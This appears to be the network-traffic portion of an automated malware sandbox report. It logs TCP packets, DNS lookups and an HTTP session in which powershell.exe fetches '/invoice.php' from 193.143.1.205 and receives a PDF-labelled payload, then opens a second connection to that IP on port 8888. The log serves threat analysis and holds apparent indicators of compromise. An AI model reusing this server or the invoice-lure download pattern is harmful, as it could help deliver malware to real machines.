Jan 10, 2025 17:42:19.745747089 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.745781898 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.745794058 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.745847940 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.745855093 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.745862007 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.745985031 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.745995998 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.746009111 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.746067047 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.746067047 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.746067047 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.763781071 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.763811111 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.763823032 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.763883114 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.763883114 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.763943911 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.763956070 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.763967991 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764014959 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.764210939 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764225006 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764271975 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764281988 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764302015 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.764302015 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.764431953 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764445066 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764455080 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764473915 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.764605999 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764620066 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764631987 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764645100 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764657021 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764669895 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764683008 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.764691114 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.764691114 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.764691114 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.764767885 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.764990091 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765002012 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765012026 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765024900 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765038013 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765044928 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.765072107 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.765080929 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.765285015 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765297890 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765309095 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765320063 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765332937 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765346050 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.765367031 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.765367985 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.765479088 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.778744936 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.778772116 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.778784990 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.778985023 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.779011965 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779026031 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779040098 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779052973 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779103041 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.779103041 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.779289961 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779329062 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779333115 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.779341936 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779433012 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779447079 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779479027 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.779498100 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.779567003 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779578924 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779591084 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.779858112 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.796360970 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796423912 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796442032 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.796449900 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796467066 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796493053 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.796518087 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796534061 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796561956 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.796809912 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796824932 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796837091 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796848059 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796854019 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.796863079 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.796878099 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.796917915 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.796922922 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797027111 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797038078 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797049999 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797068119 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.797087908 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.797261953 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797283888 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797296047 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797324896 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.797413111 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797454119 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.797538042 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797605991 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797617912 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797645092 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.797753096 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797765017 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797779083 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797825098 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.797847033 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.797915936 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797929049 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797940016 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797960043 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.797969103 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798512936 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798526049 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798540115 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798544884 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798553944 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798567057 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798574924 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798579931 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798592091 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798594952 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798604012 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798615932 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798619986 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798656940 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798773050 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798784971 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798795938 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798810005 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798819065 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798821926 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798835993 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798835993 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798847914 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798860073 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798863888 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798871040 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798882961 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798893929 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.798899889 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798911095 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.798939943 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.801266909 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.801315069 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.801328897 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.801362038 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.801467896 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.801480055 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.801491976 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.801506042 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.801512003 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.801531076 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.801681042 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.801718950 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.801762104 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.811460972 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.811485052 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.811547041 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.856683969 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.084863901 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.137860060 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.283767939 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.288674116 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.288701057 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.288713932 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.288743019 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.290533066 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.296688080 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.296708107 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.296722889 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.296749115 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.296777964 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.296833992 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.296848059 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.296860933 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.296900034 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.297014952 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297028065 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297065020 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.297394991 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297409058 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297420979 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297426939 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297432899 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297445059 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.297446966 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297472000 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.297503948 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.297956944 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297970057 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297981024 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.297992945 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298002005 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.298006058 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298019886 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298032045 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298039913 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.298047066 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298058987 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298058987 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.298073053 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298078060 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.298088074 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298099041 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298105001 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.298141956 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.298939943 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298957109 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298969030 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298984051 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.298985958 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.298999071 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299009085 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.299043894 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.299078941 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299093962 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299098969 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299105883 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299115896 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299129963 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299141884 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.299179077 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.299885035 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299899101 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299912930 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299923897 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299938917 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.299937010 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.299983978 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.300046921 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.300061941 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.300074100 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.300087929 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.300090075 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.300101042 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.300115108 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.300122976 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.300127983 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.300153017 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.300175905 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.301011086 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301024914 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301037073 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301050901 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301064968 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301065922 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.301085949 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.301160097 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301173925 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301179886 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301187992 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:20.301311970 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.489113092 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.495790958 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:20.725053072 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:21.392091990 CET	49806	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:21.396897078 CET	8888	49806	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:21.396962881 CET	49806	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:21.406858921 CET	49806	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:21.411659002 CET	8888	49806	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:22.211817980 CET	8888	49806	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:22.262792110 CET	49806	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:22.489058018 CET	49806	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:42:32.189379930 CET	51504	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:42:32.189379930 CET	192.168.2.6	1.1.1.1	0x65bd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:42:05.553406954 CET	1.1.1.1	192.168.2.6	0xac6	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:42:05.553406954 CET	1.1.1.1	192.168.2.6	0xac6	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:42:32.197191000 CET	1.1.1.1	192.168.2.6	0x65bd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49784	193.143.1.205	80	2136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:42:18.274677992 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:42:19.111275911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:42:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:42:19.111335039 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
